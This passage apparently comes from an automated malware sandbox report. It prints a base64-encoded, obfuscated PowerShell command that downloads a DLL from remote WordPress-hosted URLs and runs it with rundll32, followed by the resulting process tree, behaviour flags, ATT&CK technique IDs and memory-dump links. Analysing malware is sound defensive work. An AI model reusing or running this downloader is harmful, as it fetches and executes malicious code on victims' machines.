rACgAJwBwAC0AJwArACcAaQBuAGMAbAB1ACcAKwAnAGQAJwApACsAKAAoACcAZQBzAEoAKQAoACcAKwAnADMAJwArACcAcwAyACcAKwAnACkAKABIACcAKwAnAGMAZQBVAHgARgAnACsAJwBLACcAKQApACsAKAAoACcASgApACcAKwAnACgAMwBzADIAKQAnACsAJwAoACcAKwAnAEAAaAB0AHQAcAA6AEoAKQAoADMAJwApACkAKwAoACgAJwBzADIAKQAoACcAKwAnAEoAKQAoADMAcwAnACkAKQArACcAMgAnACsAKAAoACcAKQAoAHIAZQAnACsAJwBzAHUAYwBvACcAKwAnAC4AbgBlAHQAJwApACkAKwAoACgAJwBKACkAKAAzAHMAJwArACcAMgAnACsAJwApACgAdwBwAC0AJwApACkAKwAoACcAYwBvACcAKwAnAG4AdABlACcAKQArACgAKAAnAG4AdAAnACsAJwBKACkAKAAzACcAKQApACsAJwBzACcAKwAoACgAJwAyACkAJwApACkAKwAoACgAJwAoAHUAcAAnACsAJwBsAG8AJwApACkAKwAnAGEAZAAnACsAKAAoACcAcwBKACkAJwArACcAKAAzAHMAJwApACkAKwAoACgAJwAyACcAKwAnACkAKAAyADAAMgAnACkAKQArACcAMAAnACsAKAAoACcASgApACcAKwAnACgAMwAnACkAKQArACcAcwAnACsAKAAoACcAMgApACcAKQApACsAJwAoACcAKwAoACgAJwAxADIAJwArACcASgApACgAMwBzACcAKwAnADIAKQAnACsAJwAoAFMAMABLACcAKQApACsAKAAoACcASgApACcAKQApACsAKAAoACcAKAAnACsAJwAzAHMAMgApACgAJwApACkAKQApAC4AIgBSAEUAcABgAGwAYQBjAEUAIgAoACgAKAAoACgAJwBKACkAJwArACcAKAAnACkAKQArACcAMwAnACsAKAAoACcAcwAyACkAJwArACcAKAAnACkAKQApACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAC8AJwApACwAKAAnAGgAdwAnACsAJwBlACcAKQApAFsAMABdACkALgAiAFMAUABsAGAAaQB0ACIAKAAkAEUAZAA2ADAAMAA2AGsAIAArACAAJABXAHEAMABzAGUAdAA0ACAAKwAgACQAVwBxAHkAZQAwAHoAawApADsAJABDAG8AbwBuAHcAbABqAD0AKAAnAFQAMgAnACsAJwBhADMAJwArACgAJwA3AHYAJwArACcAZAAnACkAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAWABtADcAOABrAGMAZwAgAGkAbgAgACQATQBuAG4AZgBtADgAZgAgAHwAIABzAG8AcgBUAC0ATwBgAEIASgBFAGAAQwB0ACAAewBHAGAAZQB0AC0AYABSAGEAbgBgAEQAbwBtAH0AKQB7AHQAcgB5AHsAJABQAGUAeQA1AGkAbwBmAC4AIgBEAG8AVwBgAE4AbABPAEEAZABGAGAASQBgAGwAZQAiACgAJABYAG0ANwA4AGsAYwBnACwAIAAkAFMAaQBxAHUANgA5AGQAKQA7ACQATAA5AG0AcQBiAG0AMwA9ACgAKAAnAEYAJwArACcANgA0ACcAKQArACcAZAAnACsAKAAnAHQAJwArACcAeQBtACcAKQApADsASQBmACAAKAAoACYAKAAnAEcAZQB0ACcAKwAnAC0AJwArACcASQB0AGUAbQAnACkAIAAkAFMAaQBxAHUANgA5AGQAKQAuACIATABlAE4AZwBgAFQASAAiACAALQBnAGUAIAA0ADUAMwA5ADMAKQAgAHsALgAoACcAcgB1ACcAKwAnAG4AZABsAGwAMwAyACcAKQAgACQAUwBpAHEAdQA2ADkAZAAsACcAIwAxACcALgAiAHQATwBgAHMAVABgAFIAaQBuAEcAIgAoACkAOwAkAEEANQBqAGoAdQBsADcAPQAoACcATQBoACcAKwAoACcAaAA1AHQAZwAnACsAJwBrACcAKQApADsAYgByAGUAYQBrADsAJABaAHoAYgBtADUAcAAzAD0AKAAnAFgAJwArACgAJwBnADIAdAAnACsAJwBmADYAZQAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARwBnADYAMwA1AHEANwA9ACgAKAAnAEwAdgB1ACcAKwAnAGUAJwApACsAKAAnAHUAJwArACcAeAB6ACcAKQApAA==
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1172
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" C:\Users\Admin\Tysfljy\Yze_9vl\K3qe8qs_m.dll,#1
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3128
  - - C:\Windows\SysWOW64\rundll32.exe
      "C:\Windows\system32\rundll32.exe" C:\Users\Admin\Tysfljy\Yze_9vl\K3qe8qs_m.dll,#1
      4⤵
      Loads dropped DLL
      Drops file in System32 directory
      Suspicious use of WriteProcessMemory
      PID:2904
    - - C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Nrbe\ktabhd.nzr",RunDLL
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:2772

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/492-2-0x000001C585EC0000-0x000001C5864F7000-memory.dmp

Download

memory/1172-5-0x00007FF99C3D0000-0x00007FF99CDBC000-memory.dmp

Download

memory/1172-6-0x000001A1FC3D0000-0x000001A1FC3D1000-memory.dmp

Download

memory/1172-7-0x000001A1FC6E0000-0x000001A1FC6E1000-memory.dmp

Download

memory/2772-14-0x0000000000540000-0x0000000000562000-memory.dmp

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memory/2904-12-0x0000000000860000-0x0000000000882000-memory.dmp

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Resubmissions

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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